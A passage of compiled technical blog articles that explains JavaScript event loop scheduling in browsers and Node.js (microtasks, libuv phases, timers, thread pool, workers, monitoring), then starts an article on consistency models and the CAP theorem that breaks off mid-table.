By default, all timers and immediates are **ref'd**—the process will not exit while they are active. Calling `timeout.unref()` allows the process to exit even if the timer is still pending; `timeout.ref()` reverses this. Both are idempotent. Use `timeout.hasRef()` to check current status.

```js title="unref-example.js" collapse={1}
const timeout = setTimeout(() => console.log("never runs"), 10000)
timeout.unref() // Process exits immediately; timer does not keep it alive
```

Example: A background heartbeat timer that should not prevent graceful shutdown uses `unref()`. A critical timeout that must fire before exit uses `ref()` (the default).

Design reasoning: `unref()` exists because long-running servers often have background tasks (health checks, metrics flushing) that should not block shutdown. Without `unref()`, you would need to manually clear every timer during shutdown.

## Browser Event Loop Contrast (Spec-precise)

The HTML event loop model is similar in spirit but not identical in mechanism. The spec explicitly separates task queues from the microtask queue:

> "Task queues are sets, not queues." - Hypertext Markup Language (HTML) Standard, "Event loop processing model".

> "The microtask queue is not a task queue." - Hypertext Markup Language (HTML) Standard, "Event loop processing model".

The spec also preserves ordering within a single task source:

> "the user agent would never process events from any one task source out of order." - Hypertext Markup Language (HTML) Standard, "Event loop processing model".

ECMAScript specifies job queues as FIFO queues:

> "A Job Queue is a FIFO queue of PendingJob records." - ECMAScript Language Specification, "Jobs and Job Queues".

Net effect: because task queues are sets and the user agent selects a runnable task from a chosen queue, ordering across different HTML task sources is not guaranteed, but ordering within a given source is. Node's fixed phase order and its extra `process.nextTick()` queue make scheduling more predictable for server workloads but easier to starve if high-priority queues are abused.

Example: In a browser, a user input task can run before a timer task depending on task source selection; in Node, an I/O callback and a `setImmediate()` follow the poll -> check phase order.

## Conclusion

Node's event loop is a deliberate trade-off: fixed phases and a dedicated thread pool make I/O-heavy servers predictable and scalable, while the high-priority queues (`process.nextTick()` and microtasks) offer low-latency scheduling at the cost of potential starvation. The libuv 1.45.0 timer change (Node.js 20+) affects edge cases around timer/immediate ordering, and the CJS vs ESM microtask ordering difference can cause subtle bugs when porting code.

Use the simplified two-scheduler mental model to reason quickly, then drop to the phase-level view when debugging ordering and latency. When in doubt, prefer `setImmediate()` inside I/O callbacks for deterministic scheduling and `queueMicrotask()` over `process.nextTick()` for portability.

## Appendix

### Prerequisites

- Familiarity with Promises, timers, and non-blocking I/O in Node.js.

### Terminology

- **Tick**: One pass through the libuv phases.
- **Phase**: A libuv stage that owns a callback queue (timers, poll, check, etc.).
- **Handle**: A long-lived libuv resource (timer, socket, file watcher) that keeps the event loop alive while active and ref'd.
- **Request**: A short-lived libuv operation (write, DNS lookup) that keeps the loop alive while pending.
- **Task**: A unit of work scheduled onto an HTML task queue (browser concept).
- **Task source**: A category of tasks in HTML (for example, timers, user interaction, networking).
- **Microtask**: A high-priority job processed after tasks/phases (Promises, `queueMicrotask()`).

### Summary

- libuv executes callbacks in fixed phases; Node drains `process.nextTick()` then microtasks after each callback.
- Timers have millisecond resolution with ±0.5 ms jitter; they specify a minimum delay threshold, not a precise schedule.
- Since Node.js 20 (libuv 1.45.0), timers execute only after the poll phase—a breaking change from prior versions.
- The libuv thread pool (default 4, max 1024 threads) services fs, dns.lookup(), crypto, and zlib; it can bottleneck I/O-heavy workloads.
- `setImmediate()` always fires before timers inside I/O callbacks; outside them, the order is non-deterministic.
- The process exits when no ref'd handles or active requests remain; use `unref()` for background timers that should not block shutdown.
- HTML and ECMAScript specs model tasks and microtasks differently from Node's phase-based loop.

### References

- [HTML Standard - Event loop processing model](https://html.spec.whatwg.org/multipage/webappapis.html#event-loop-processing-model)
- [ECMAScript 2015 Language Specification (ECMA-262 6th Edition) - Jobs and Job Queues](https://262.ecma-international.org/6.0/#sec-jobs-and-job-queues)
- [libuv - Design overview](https://docs.libuv.org/en/v1.x/design.html)
- [libuv - Thread pool work scheduling](https://docs.libuv.org/en/v1.x/threadpool.html)
- [libuv - Timer handle](https://docs.libuv.org/en/v1.x/timer.html)
- [Node.js - The Node.js Event Loop](https://nodejs.org/en/learn/asynchronous-work/event-loop-timers-and-nexttick)
- [Node.js - Understanding `process.nextTick()`](https://nodejs.org/en/learn/asynchronous-work/understanding-processnexttick)
- [Node.js - `process.nextTick()` API](https://nodejs.org/docs/latest/api/process.html#processnexttickcallback-args)
- [Node.js - `process.nextTick()` vs `queueMicrotask()`](https://nodejs.org/docs/latest/api/process.html#when-to-use-queuemicrotask-vs-processnexttick)
- [Node.js - Timers API](https://nodejs.org/api/timers.html)
- [Node.js - DNS module](https://nodejs.org/api/dns.html)
- [Node.js - Performance measurement APIs (`monitorEventLoopDelay`)](https://nodejs.org/api/perf_hooks.html#perf_hooks_monitoringeventloopdelay_options)

---

## JS Event Loop: Tasks, Microtasks, and Rendering (For Browser & Node.js)

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/browser-runtime-internals/js-runtime-internals/js-event-loop
**Category:** Browser & Runtime Internals / JavaScript Runtime Internals
**Description:** The event loop is not a JavaScript language feature—it is the host environment’s mechanism for orchestrating asynchronous operations around the engine’s single-threaded execution. Browsers implement the WHATWG HTML Standard processing model optimized for UI responsiveness (60 frames per second, ~16.7ms budgets). Node.js implements a phased architecture via libuv, optimized for high-throughput I/O (Input/Output). Understanding both models is essential for debugging timing issues, avoiding starvation, and choosing the right scheduling primitive.

# JS Event Loop: Tasks, Microtasks, and Rendering (For Browser & Node.js)

The event loop is not a JavaScript language feature—it is the host environment's mechanism for orchestrating asynchronous operations around the engine's single-threaded execution. Browsers implement the WHATWG HTML Standard processing model optimized for UI responsiveness (60 frames per second, ~16.7ms budgets). Node.js implements a phased architecture via libuv, optimized for high-throughput I/O (Input/Output). Understanding both models is essential for debugging timing issues, avoiding starvation, and choosing the right scheduling primitive.

<figure>

![Node.js Event Loop Phases](./nodejs-event-loop-with-example.png)

<figcaption>Node.js event loop phases showing the libuv-managed execution order</figcaption>

</figure>

## Abstract

The JavaScript runtime consists of two distinct components: the **engine** (V8, SpiderMonkey, JavaScriptCore) that executes ECMAScript with a call stack, heap, and run-to-completion guarantee; and the **host environment** (browser or Node.js) that provides the event loop, timers, and I/O APIs.

The event loop implements a two-tier priority system:

1. **Microtasks** (high priority): Promise reactions, `queueMicrotask()`, `MutationObserver`. Drain completely after each macrotask, before rendering.
2. **Macrotasks** (lower priority): `setTimeout`, `setInterval`, I/O callbacks, UI events. One per event loop iteration.

**Browser model**: Task → Microtask checkpoint → Rendering (rAF → Style → Layout → Paint → Composite) → Idle callbacks → Loop.

**Node.js model** (as of Node.js 20+): Six libuv phases (timers → pending → idle/prepare → poll → check → close). `process.nextTick()` and microtasks run between phases—nextTick first in CommonJS modules, microtasks first in ECMAScript Modules (ESM).

**Key design tradeoffs**:

- Microtasks before rendering enables consistent DOM state but risks UI starvation
- Node.js's phased model optimizes I/O throughput but adds scheduling complexity
- The 4-thread default pool handles blocking operations (file I/O, DNS) without stalling the main loop

## The Runtime Architecture

JavaScript's characterization as a "single-threaded, non-blocking, asynchronous, concurrent language" obscures the division of labor between engine and host. The ECMAScript specification (ECMA-262) defines the language semantics—call stack, heap, run-to-completion—but delegates asynchronous scheduling to the host via abstract "Jobs" and "Job Queues." The host environment (browser or Node.js) implements the concrete event loop that processes these jobs.

<figure>

![JavaScript runtime architecture showing the relationship between the engine, host environment, and bridge layer components](./javascript-runtime-architecture-showing-the-relationship-between-the-engine-host.svg)

<figcaption>JavaScript runtime architecture showing the relationship between the engine, host environment, and bridge layer components</figcaption>

</figure>

### Core Execution Primitives

The ECMAScript specification defines three fundamental primitives:

1. **Call Stack**: LIFO (Last-In-First-Out) data structure tracking execution contexts. Each function call pushes a new context; returns pop it.
2. **Heap**: Unstructured memory region for object allocation, managed by the garbage collector.
3. **Run-to-Completion Guarantee**: Once a function starts, it runs without preemption until it returns or throws. No other JavaScript can interrupt mid-execution.

This run-to-completion model simplifies reasoning about shared state (no need for locks) but means long-running synchronous code blocks everything—including rendering in browsers.

<figure>

![Core execution model showing the flow between task queue, event loop, and call stack](./core-execution-model-showing-the-flow-between-task-queue-event-loop-and-call-sta.svg)

<figcaption>Core execution model showing the flow between task queue, event loop, and call stack</figcaption>

</figure>

### Specification Hierarchy

<figure>

![ECMAScript defines abstract Jobs; host environments implement concrete event loops](./ecmascript-defines-abstract-jobs-host-environments-implement-concrete-event-loop.svg)

<figcaption>ECMAScript defines abstract Jobs; host environments implement concrete event loops</figcaption>

</figure>

The ECMAScript 2025 specification (16th edition) defines an **Agent** as the execution context for JavaScript code—comprising a call stack, running execution context, and job queues. The spec provides abstract operations like `HostEnqueuePromiseJob` that hosts must implement. This separation allows browsers and Node.js to optimize for different workloads while maintaining language semantics.

## Universal Priority System: Tasks and Microtasks

All modern JavaScript environments implement a two-tiered priority system. Per the WHATWG HTML Standard: "All microtasks are completed before any other event handling or rendering or any other macrotask takes place." This guarantee is why Promise callbacks run before the next `setTimeout`, regardless of timer delay.

### Queue Processing Model

<figure>

![Queue processing model showing the priority system between macrotasks and microtasks in the event loop](./queue-processing-model-showing-the-priority-system-between-macrotasks-and-microt.svg)

<figcaption>Queue processing model showing the priority system between macrotasks and microtasks in the event loop</figcaption>

</figure>

### Priority Hierarchy

<figure>

![Priority hierarchy showing the execution order from synchronous code through microtasks to macrotasks](./priority-hierarchy-showing-the-execution-order-from-synchronous-code-through-mic.svg)

<figcaption>Priority hierarchy showing the execution order from synchronous code through microtasks to macrotasks</figcaption>

</figure>

### Microtask Starvation Pattern

The event loop drains the microtask queue completely before proceeding. If microtasks enqueue more microtasks recursively, the queue never empties—starving macrotasks, I/O, and rendering indefinitely.

```javascript title="microtask-starvation.js"
// Pathological microtask starvation - DO NOT use in production
function microtaskFlood() {
  Promise.resolve().then(microtaskFlood) // Recursive microtask
}
microtaskFlood()

// This macrotask NEVER executes - the microtask queue never empties
setTimeout(() => {
  console.log("Starved macrotask")
}, 1000)

// In browsers: UI freezes, no rendering occurs
// In Node.js: I/O callbacks never fire, server becomes unresponsive
```

**Production impact**: A server handling 1000 req/s with a recursive microtask pattern will stop accepting connections entirely. The socket accept queue fills, clients timeout, and monitoring shows 100% CPU with zero throughput.

**Detection**: Event loop lag metrics exceeding 100ms consistently. In Node.js, use `monitorEventLoopDelay()` from `perf_hooks`.

## Browser Event Loop Architecture

The browser event loop is optimized for UI (User Interface) responsiveness, integrating directly with the rendering pipeline. At 60 fps (frames per second), each frame has approximately 16.7ms for JavaScript execution, style calculation, layout, paint, and composite operations. Exceeding this budget causes dropped frames—visible as jank or stutter.

### WHATWG Processing Model

The WHATWG HTML Living Standard (January 2026) defines the event loop processing model:

<figure>

![WHATWG processing model: Task → Microtasks → Rendering → Idle](./whatwg-processing-model-task-microtasks-rendering-idle.svg)

<figcaption>WHATWG processing model: Task → Microtasks → Rendering → Idle</figcaption>

</figure>

**Design rationale**: Running all microtasks before rendering ensures the DOM (Document Object Model) reaches a consistent state. If microtasks ran interleaved with rendering, intermediate states could flash on screen. The tradeoff: long microtask chains can delay rendering, causing dropped frames.

### Rendering Pipeline Integration

<figure>

![Frame budget allocation at 60fps. Exceeding 16.7ms drops frames.](./frame-budget-allocation-at-60fps-exceeding-16-7ms-drops-frames.svg)

<figcaption>Frame budget allocation at 60fps. Exceeding 16.7ms drops frames.</figcaption>

</figure>

**requestAnimationFrame (rAF) timing**: Per the spec, rAF callbacks run after microtasks but before style recalculation—the optimal point for DOM mutations that should appear in the next frame.

**Browser inconsistency**: Chrome and Firefox run rAF before the next render (spec-compliant). Safari historically ran rAF before the _following_ render, causing a one-frame delay. Per WHATWG GitHub issue #2569, "Developers are pretty confused about this, with currently 60% expecting the [Safari] behaviour."

**Timer inaccuracy**: `setTimeout(fn, 0)` does not execute immediately. Browsers clamp delays to ≥1ms (Chrome historically used 4ms for nested timers). The actual delay includes:

1. Minimum delay clamp
2. Time until next event loop iteration
3. Queue position behind other macrotasks

### Task Source Prioritization

The WHATWG spec allows browsers to prioritize task sources but doesn't mandate specific priorities. In practice, browsers implement:

| Task Source                   | Typical Priority | Rationale                               |
| ----------------------------- | ---------------- | --------------------------------------- |
| User interaction (click, key) | Highest          | Immediate feedback critical for UX      |
| `MessageChannel`              | High             | Used for inter-frame communication      |
| DOM manipulation              | Medium           | Balance responsiveness with batching    |
| Networking (fetch callbacks)  | Medium           | Async by nature, less latency-sensitive |
| Timers (`setTimeout`)         | Lower            | Explicit deferral implies tolerance     |

**Scheduler API (Chrome 115+)**: The `scheduler.postTask()` API exposes explicit priority levels:

```javascript title="scheduler-api.js" collapse={1-2}
// Check for scheduler support
if ("scheduler" in window) {
  // user-blocking: highest, for input response
  scheduler.postTask(() => handleInput(), { priority: "user-blocking" })

  // user-visible: default, for non-critical rendering
  scheduler.postTask(() => updateChart(), { priority: "user-visible" })

  // background: lowest, for analytics/logging
  scheduler.postTask(() => sendAnalytics(), { priority: "background" })
}
```

**Browser support**: Chrome, Edge, Opera. Not supported in Firefox or Safari as of January 2026.

## Node.js Event Loop: libuv Integration

Node.js implements a phased event loop architecture via libuv, optimized for high-throughput I/O. The event loop runs on a single thread, abstracting platform-specific polling mechanisms: epoll on Linux, kqueue on macOS/BSD, and IOCP (I/O Completion Ports) on Windows.

**Historical context**: Node.js originally used libev (event loop) and libeio (async I/O). Per Bert Belder (libuv co-creator), these libraries assumed the select() model worked universally and that system calls behaved identically across platforms—both false. libuv was created to provide consistent cross-platform I/O while enabling Windows support via IOCP.

### libuv Architecture

<figure>

![libuv architecture showing the integration between V8 engine, libuv event loop, and OS-specific I/O mechanisms](./libuv-architecture-showing-the-integration-between-v8-engine-libuv-event-loop-an.svg)

<figcaption>libuv architecture showing the integration between V8 engine, libuv event loop, and OS-specific I/O mechanisms</figcaption>

</figure>

### Phased Event Loop Structure

As of Node.js 20+, the event loop executes in six phases. Each phase has a FIFO (First-In-First-Out) queue; all callbacks in that queue execute before moving to the next phase:

<figure>

![Six phases of the Node.js event loop](./six-phases-of-the-node-js-event-loop.svg)

<figcaption>Six phases of the Node.js event loop</figcaption>

</figure>

| Phase                 | Executes                                       | Examples                       |
| --------------------- | ---------------------------------------------- | ------------------------------ |
| **timers**            | Expired `setTimeout`/`setInterval` callbacks   | Timer-based polling            |
| **pending callbacks** | I/O callbacks deferred from previous iteration | TCP errors, some system errors |
| **idle, prepare**     | Internal libuv operations                      | Not user-facing                |
| **poll**              | Retrieve new I/O events; execute I/O callbacks | Most async I/O                 |
| **check**             | `setImmediate()` callbacks                     | Post-I/O processing            |
| **close callbacks**   | Close event handlers                           | `socket.on('close')`           |

**Node.js 20+ change (libuv 1.45.0)**: Prior versions ran timers both before and after the poll phase. Since libuv 1.45.0, timers run only after poll. This can affect `setImmediate()` callback timing—existing timing-dependent code may break.

### Poll Phase Logic

<figure>

![Poll phase decision tree: block for I/O, timers, or proceed immediately](./poll-phase-decision-tree-block-for-i-o-timers-or-proceed-immediately.svg)

<figcaption>Poll phase decision tree: block for I/O, timers, or proceed immediately</figcaption>

</figure>

The poll phase is where libuv spends most of its time in I/O-heavy applications. It blocks waiting for new I/O events unless:

1. `setImmediate()` callbacks are pending → proceed to check phase
2. Timers are about to expire → wrap back to timers phase
3. No active handles remain → exit the event loop

### Thread Pool vs Direct I/O

Network I/O is **always** performed on the event loop's thread using non-blocking OS primitives (epoll, kqueue, IOCP). File system operations use the thread pool because, per the libuv design docs: "Unlike network I/O, there are no platform-specific file I/O primitives libuv could rely on."

<figure>

![Thread pool for blocking operations; event loop for non-blocking network I/O](./thread-pool-for-blocking-operations-event-loop-for-non-blocking-network-i-o.svg)

<figcaption>Thread pool for blocking operations; event loop for non-blocking network I/O</figcaption>

</figure>

**Thread pool configuration**:

| Setting      | Value     | Notes                                |
| ------------ | --------- | ------------------------------------ |
| Default size | 4 threads | Set via `UV_THREADPOOL_SIZE` env var |
| Maximum size | 1024      | Increased from 128 in libuv 1.30.0   |
| Stack size   | 8 MB      | Since libuv 1.45.0                   |

**Why 4 threads?** Per libuv maintainer Andrius Bentkus: "The thread pool primarily emulates async behavior for blocking operations. Since these are I/O-bound rather than CPU-bound, more threads don't improve throughput. There is no deterministic way of a perfect size."

**Production consideration**: If your application performs many concurrent file operations (e.g., static file server), 4 threads may bottleneck. Increase `UV_THREADPOOL_SIZE` to match expected concurrency—but not beyond, as threads consuming CPU-bound work (crypto, zlib) could block legitimate I/O.

**Linux AIO and io_uring**: libuv explored native async file I/O via Linux AIO and io_uring (8x throughput improvement reported). However, as of libuv 1.49.0, io_uring support was reverted to thread pool by default due to stability concerns.

## Node.js-Specific Scheduling

Node.js provides unique scheduling primitives with distinct priority levels. Critically, `process.nextTick()` is **not part of the event loop**—it executes after the current operation completes, before the event loop continues to the next phase.

### Priority Hierarchy

<figure>

![Node.js priority: nextTick → microtasks → event loop phases](./node-js-priority-nexttick-microtasks-event-loop-phases.svg)

<figcaption>Node.js priority: nextTick → microtasks → event loop phases</figcaption>

</figure>

### process.nextTick() vs queueMicrotask()

| Feature         | `process.nextTick()`                 | `queueMicrotask()`           |
| --------------- | ------------------------------------ | ---------------------------- |
| Queue           | nextTick queue (Node.js-managed)     | Microtask queue (V8-managed) |
| Priority in CJS | Higher (runs first)                  | Lower (runs after nextTick)  |
| Priority in ESM | **Lower** (runs after microtasks)    | **Higher** (runs first)      |
| Standard        | Node.js-specific                     | Web standard, cross-platform |
| Additional args | `nextTick(fn, arg1, arg2)` supported | Requires closure             |
| Starvation risk | High (can starve I/O if recursive)   | Lower                        |

**Critical ESM/CJS difference**: In ESM modules, Node.js is already draining the microtask queue when your code runs, so `queueMicrotask()` callbacks execute **before** `process.nextTick()`. This reverses the CJS behavior and can break code ported between module systems.

**Official recommendation** from Node.js docs: "For most userland use cases, `queueMicrotask()` provides a portable and reliable mechanism for deferring execution."

### nextTick vs setImmediate Execution

<figure>

![nextTick vs setImmediate execution showing the timing difference between these two Node.js-specific scheduling mechanisms](./nexttick-vs-setimmediate-execution-showing-the-timing-difference-between-these-t.svg)

<figcaption>nextTick vs setImmediate execution showing the timing difference between these two Node.js-specific scheduling mechanisms</figcaption>

</figure>

### setTimeout vs setImmediate Ordering

Within an I/O callback, `setImmediate()` always executes before `setTimeout(fn, 0)` because the poll phase proceeds to the check phase before wrapping back to timers. Outside I/O callbacks (e.g., in the main module), the order is **non-deterministic** and depends on process performance at startup.

<figure>

![Inside I/O: deterministic (setImmediate first). Outside I/O: non-deterministic.](./inside-i-o-deterministic-setimmediate-first-outside-i-o-non-deterministic.svg)

<figcaption>Inside I/O: deterministic (setImmediate first). Outside I/O: non-deterministic.</figcaption>

</figure>

```javascript title="timer-ordering.js"
const fs = require("fs")

// In main module: non-deterministic order
setTimeout(() => console.log("setTimeout"), 0)
setImmediate(() => console.log("setImmediate"))
// Output varies between runs

// Inside I/O callback: always setImmediate first
fs.readFile(__filename, () => {
  setTimeout(() => console.log("setTimeout (I/O)"), 0)
  setImmediate(() => console.log("setImmediate (I/O)"))
})
// Output: "setImmediate (I/O)" then "setTimeout (I/O)" - guaranteed
```

**Recommendation from Node.js docs**: "We recommend developers use `setImmediate()` in all cases because it's easier to reason about."

## True Parallelism: Worker Threads

Worker threads (browser Web Workers or Node.js `worker_threads`) provide true parallelism by creating independent JavaScript execution contexts with their own event loops.

### Worker Architecture

<figure>

![Workers have independent event loops; communication via message passing](./workers-have-independent-event-loops-communication-via-message-passing.svg)

<figcaption>Workers have independent event loops; communication via message passing</figcaption>

</figure>

### Data Transfer Mechanisms

| Method                         | Performance   | Use Case                                          |
| ------------------------------ | ------------- | ------------------------------------------------- |
| **Structured Clone** (default) | O(n) copy     | Small messages, primitives, plain objects         |
| **Transferable Objects**       | O(1) transfer | ArrayBuffer, MessagePort, ImageBitmap             |
| **SharedArrayBuffer**          | Zero-copy     | High-frequency updates, lock-free data structures |

**Structured Clone** serializes and deserializes the data, suitable for small payloads. For large binary data (e.g., image processing), use **Transferable Objects** to avoid copying—ownership transfers to the worker, making the original reference unusable.

**SharedArrayBuffer** enables true shared memory between threads. Use `Atomics` for synchronization to avoid race conditions. Per ECMAScript 2025: "The memory model ensures no undefined behavior from data races."

```javascript title="worker-transfer.js" collapse={1-3, 12-15}
// Main thread
const worker = new Worker("processor.js")
const buffer = new ArrayBuffer(1024 * 1024) // 1MB

// Transfer ownership - buffer becomes detached (length: 0)
worker.postMessage({ data: buffer }, [buffer])
console.log(buffer.byteLength) // 0 - transferred

// For shared memory (requires cross-origin isolation)
const shared = new SharedArrayBuffer(1024)
const view = new Int32Array(shared)
Atomics.store(view, 0, 42) // Thread-safe write
worker.postMessage({ shared })
```

## Performance Monitoring and Debugging

### Node.js Event Loop Metrics

The `perf_hooks` module provides event loop delay monitoring:

```javascript title="event-loop-monitor.js" collapse={1-2}
const { monitorEventLoopDelay } = require("perf_hooks")

const histogram = monitorEventLoopDelay({ resolution: 20 })
histogram.enable()

// Check every 5 seconds
setInterval(() => {
  console.log({
    min: histogram.min / 1e6, // Convert ns to ms
    max: histogram.max / 1e6,
    mean: histogram.mean / 1e6,
    p99: histogram.percentile(99) / 1e6,
  })
  histogram.reset()
}, 5000)
```

**Healthy thresholds**:

- **mean < 10ms**: Good—event loop is responsive
- **p99 < 50ms**: Acceptable for most applications
- **p99 > 100ms**: Problematic—indicates blocking operations or CPU-bound work

### Bottleneck Identification

| Symptom                          | Likely Cause               | Diagnostic                              |
| -------------------------------- | -------------------------- | --------------------------------------- |
| High event loop lag, high CPU    | CPU-bound JavaScript       | CPU profiler, look for hot functions    |
| High event loop lag, low CPU     | Blocking I/O in event loop | Check for `*Sync` APIs                  |
| Normal lag, slow file operations | Thread pool saturation     | Increase `UV_THREADPOOL_SIZE`           |
| Slow network, normal lag         | Network I/O capacity       | Check connection counts, socket buffers |

### Browser Performance APIs

For browser event loop monitoring, use `PerformanceObserver` with `longtask` entries:

```javascript title="long-task-monitor.js"
const observer = new PerformanceObserver((list) => {
  for (const entry of list.getEntries()) {
    // Long tasks are > 50ms
    console.log(`Long task: ${entry.duration}ms`, entry.attribution)
  }
})
observer.observe({ entryTypes: ["longtask"] })
```

`requestIdleCallback` indicates when the browser has idle time—useful for deferring non-critical work:

```javascript title="idle-callback.js"
requestIdleCallback(
  (deadline) => {
    // deadline.timeRemaining() reports ms until next frame
    while (deadline.timeRemaining() > 0 && workQueue.length > 0) {
      processItem(workQueue.shift())
    }
  },
  { timeout: 2000 }, // Force execution after 2s even if busy
)
```

**Note**: `requestIdleCallback` is not supported in Safari. Maximum idle period is 50ms per the W3C spec to ensure 100ms response time for user input.

## Conclusion

The JavaScript event loop is an abstract concurrency model with environment-specific implementations. The ECMAScript specification defines Jobs and Agents; hosts implement concrete event loops optimized for their workloads—browsers for UI responsiveness at 60fps, Node.js for high-throughput I/O via libuv's phased architecture.

The key insight: microtasks always drain completely before the next macrotask or render. This enables consistent DOM state before paint but risks starvation if microtasks spawn recursively. Understanding this priority system—and the environment-specific scheduling APIs (`requestAnimationFrame`, `setImmediate`, `scheduler.postTask`)—is essential for building responsive applications.

## Appendix

### Prerequisites

- JavaScript async/await and Promise fundamentals
- Basic understanding of operating system I/O models
- Familiarity with browser rendering concepts (for browser section)

### Terminology

| Term             | Definition                                                                       |
| ---------------- | -------------------------------------------------------------------------------- |
| **Agent**        | ECMAScript execution context with call stack, job queues, and running context    |
| **Macrotask**    | A task scheduled for future event loop iteration (setTimeout, I/O callback)      |
| **Microtask**    | A high-priority task that drains completely before next macrotask (Promise.then) |
| **Event Loop**   | Host-provided mechanism that schedules JavaScript execution                      |
| **libuv**        | Cross-platform async I/O library used by Node.js                                 |
| **IOCP**         | I/O Completion Ports—Windows async I/O mechanism                                 |
| **epoll/kqueue** | Linux/macOS async I/O notification mechanisms                                    |

### Summary

- The event loop is a host environment feature, not a JavaScript language feature
- Two-tier priority: microtasks (high) drain completely before macrotasks (lower)
- Browsers integrate with rendering: Task → Microtasks → rAF → Style → Layout → Paint
- Node.js uses 6 libuv phases: timers → pending → idle → poll → check → close
- `process.nextTick()` has higher priority than microtasks in CJS, but lower in ESM
- Thread pool (default 4) handles blocking operations; network I/O is non-blocking
- Worker threads provide true parallelism with separate event loops
- Monitor event loop lag; healthy p99 < 50ms

### References

**Specifications**

- [WHATWG HTML Living Standard - Event Loops](https://html.spec.whatwg.org/multipage/webappapis.html#event-loops) - Authoritative browser processing model
- [ECMAScript 2025 - Jobs and Job Queues](https://tc39.es/ecma262/#sec-jobs-and-job-queues) - Language specification for async scheduling
- [W3C requestIdleCallback](https://w3c.github.io/requestidlecallback/) - Idle callback specification

**Official Documentation**

- [Node.js Event Loop Documentation](https://nodejs.org/en/learn/asynchronous-work/event-loop-timers-and-nexttick) - Phases, `process.nextTick`, `setImmediate`
- [libuv Design Overview](https://docs.libuv.org/en/v1.x/design.html) - Thread pool, OS abstraction, I/O model
- [libuv Thread Pool](https://docs.libuv.org/en/v1.x/threadpool.html) - Configuration, sizing, operations
- [MDN - Using Microtasks](https://developer.mozilla.org/en-US/docs/Web/API/HTML_DOM_API/Microtask_guide) - Microtask behavior
- [MDN - Prioritized Task Scheduling API](https://developer.mozilla.org/en-US/docs/Web/API/Prioritized_Task_Scheduling_API) - scheduler.postTask

**Core Maintainer Content**

- [Tasks, Microtasks, Queues and Schedules - Jake Archibald](https://jakearchibald.com/2015/tasks-microtasks-queues-and-schedules/) - Interactive visualization
- [Bert Belder libuv Talk Notes](https://baking-code.dev/post/my-notes-from-bert-belders-talk-on-libuv/) - libuv design rationale
- [Video: Everything You Need to Know About Node.js Event Loop - Bert Belder, IBM](https://youtu.be/PNa9OMajw9w)
- [Video: Node's Event Loop From the Inside Out - Sam Roberts, IBM](https://youtu.be/P9csgxBgaZ8)
- [The Dangers of setImmediate - Platformatic](https://blog.platformatic.dev/the-dangers-of-setimmediate) - Node.js 20 timing changes

# SYSTEM DESIGN

Design fundamentals, tradeoffs, and real-world architecture problems.

---

## Consistency Models and the CAP Theorem

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/system-design/system-design-fundamentals/consistency-and-cap-theorem
**Category:** System Design / System Design Fundamentals
**Description:** Understanding consistency guarantees in distributed systems: from the theoretical foundations of CAP to practical consistency models, their trade-offs, and when to choose each for production systems.

# Consistency Models and the CAP Theorem

Understanding consistency guarantees in distributed systems: from the theoretical foundations of CAP to practical consistency models, their trade-offs, and when to choose each for production systems.

<figure>

![The consistency spectrum mapped to CAP trade-offs: stronger consistency typically requires partition intolerance or reduced availability](./the-consistency-spectrum-mapped-to-cap-trade-offs-stronger-consistency-typically.svg)

<figcaption>The consistency spectrum mapped to CAP trade-offs: stronger consistency typically requires partition intolerance or reduced availability</figcaption>

</figure>

## Abstract

The CAP theorem establishes that during a network partition, a distributed system must choose between consistency (C) and availability (A)—it cannot provide both. However, CAP is often misunderstood: partitions are rare, and the more practical trade-off during normal operation is between **consistency and latency** (PACELC theorem).

**The mental model:**

- **Consistency** isn't binary—it's a spectrum from linearizability (strongest) to eventual consistency (weakest)
- **CAP applies only during partitions**—most systems spend >99.9% of time partition-free
- **PACELC captures the real trade-off**—when no partition (E), choose between latency (L) and consistency (C)
- **Tunable consistency** lets you choose per-operation, not per-system
- **Session guarantees** (read-your-writes, monotonic reads) often provide sufficient consistency for applications without the cost of strong consistency

**Key insight:** The choice isn't "CP or AP"—it's understanding which consistency guarantees your application actually needs and at what cost.

## The CAP Theorem

### Brewer's Conjecture to Formal Theorem

Eric Brewer presented the CAP principle at PODC 2000, conjecturing that a distributed system cannot simultaneously provide Consistency, Availability, and Partition Tolerance. In 2002, Seth Gilbert and Nancy Lynch [formally proved this conjecture](https://groups.csail.mit.edu/tds/papers/Gilbert/Brewer2.pdf), establishing it as a theorem.

The proof uses a simple construction: consider two nodes that cannot communicate (partitioned). If a client writes to one node and reads from the other, the system must either:

1. Return potentially stale data (sacrifice consistency for availability)
2. Block the read until partition heals (sacrifice availability for consistency)

### Precise Definitions

The formal definitions from Gilbert and Lynch are more restrictive than commonly understood:

**Consistency (Linearizability):** "Any read operation that begins after a write operation completes must return that value, or the result of a later write operation." This is specifically linearizability—the strongest consistency model—not weaker models like eventual consistency.

**Availability:** "Every request received by a non-failing node in the system must result in a response." This means every non-failing node must respond, not just "most requests succeed."

**Partition Tolerance:** "The network will be allowed to lose arbitrarily many messages sent from one node to another." Any realistic distributed system must tolerate partitions—networks fail.

### What CAP Actually Says

CAP doesn't mean "pick two of three." Since partitions are unavoidable in distributed systems, the real choice is:

- **During a partition:** Choose CP (consistency, reject requests) or AP (availability, allow stale reads)
- **When no partition:** Both C and A are achievable

As Brewer clarified in his [2012 retrospective](https://www.infoq.com/articles/cap-twelve-years-later-how-the-rules-have-changed/): "The '2 of 3' formulation was always misleading because it tended to oversimplify the tensions."

### Common Misconceptions

**Misconception 1: CAP applies all the time.**
Reality: CAP only constrains behavior during partitions. Most systems experience partitions infrequently—Google reports partition events lasting seconds to minutes occurring a few times per year in well-engineered systems.

**Misconception 2: You must choose CP or AP globally.**
Reality: Different operations can make different trade-offs. A banking system might be CP for balance updates but AP for viewing transaction history.

**Misconception 3: Eventual consistency means "no consistency."**
Reality: Eventual consistency is a specific guarantee—given no new updates, all replicas eventually converge. It's not "anything goes."

## PACELC: Beyond CAP

### The Consistency-Latency Trade-off

[Daniel Abadi proposed PACELC](https://www.cs.umd.edu/~abadi/papers/abadi-pacelc.pdf) in 2010 to capture a trade-off CAP ignores: during normal operation (no partition), systems must still choose between **latency** and **consistency**.

**PACELC states:** If there is a Partition (P), choose between Availability (A) and Consistency (C); Else (E), even when operating normally, choose between Latency (L) and Consistency (C).

This explains why systems sacrifice consistency even when partitions aren't occurring—coordination takes time.

### The Four PACELC Configurations

| Configuration | During Partition | Normal Operation | Example Systems                                |
| ------------- | ---------------- | ---------------- | ---------------------------------------------- |
| **PA/EL**     | Availability     | Latency          | Cassandra (default), DynamoDB (eventual reads) |
| **PA/EC**     | Availability     | Consistency      | MongoDB (default)                              |
